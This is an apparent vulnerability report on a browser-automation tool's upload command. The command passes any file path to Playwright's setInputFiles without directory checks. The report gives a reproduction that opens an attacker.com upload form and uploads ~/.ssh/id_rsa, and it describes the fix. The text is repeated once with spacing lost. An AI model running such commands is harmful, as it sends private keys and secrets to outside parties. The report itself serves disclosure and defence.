Summary
The upload command in browse/src/write-commands.ts:248 accepts any file path and passes it to Playwright's setInputFiles() after only an fs.existsSync() check. No safe-directory restriction. An attacker-controlled page receiving the upload can exfiltrate arbitrary files (e.g., ~/.ssh/id_rsa, ~/.env).
Reproduction
$B goto https://attacker.com/upload-form
$B upload @e1 ~/.ssh/id_rsa # file contents sent to attacker
Severity
Critical — direct file exfiltration to a remote page. Other commands (cookie-import, eval, screenshot) all validate paths; upload was missed.
Fix
PR #664 adds realpathSync-based safe-directory validation and uses the resolved path for the actual setInputFiles call (eliminating TOCTOU gap caught by Codex review).
Found via sqry AST-based semantic code graph analysis.
Summary
The
uploadcommand inbrowse/src/write-commands.ts:248accepts any file path and passes it to Playwright'ssetInputFiles()after only anfs.existsSync()check. No safe-directory restriction. An attacker-controlled page receiving the upload can exfiltrate arbitrary files (e.g.,~/.ssh/id_rsa,~/.env).Reproduction
Severity
Critical — direct file exfiltration to a remote page. Other commands (
cookie-import,eval,screenshot) all validate paths;uploadwas missed.Fix
PR #664 adds
realpathSync-based safe-directory validation and uses the resolved path for the actualsetInputFilescall (eliminating TOCTOU gap caught by Codex review).Found via sqry AST-based semantic code graph analysis.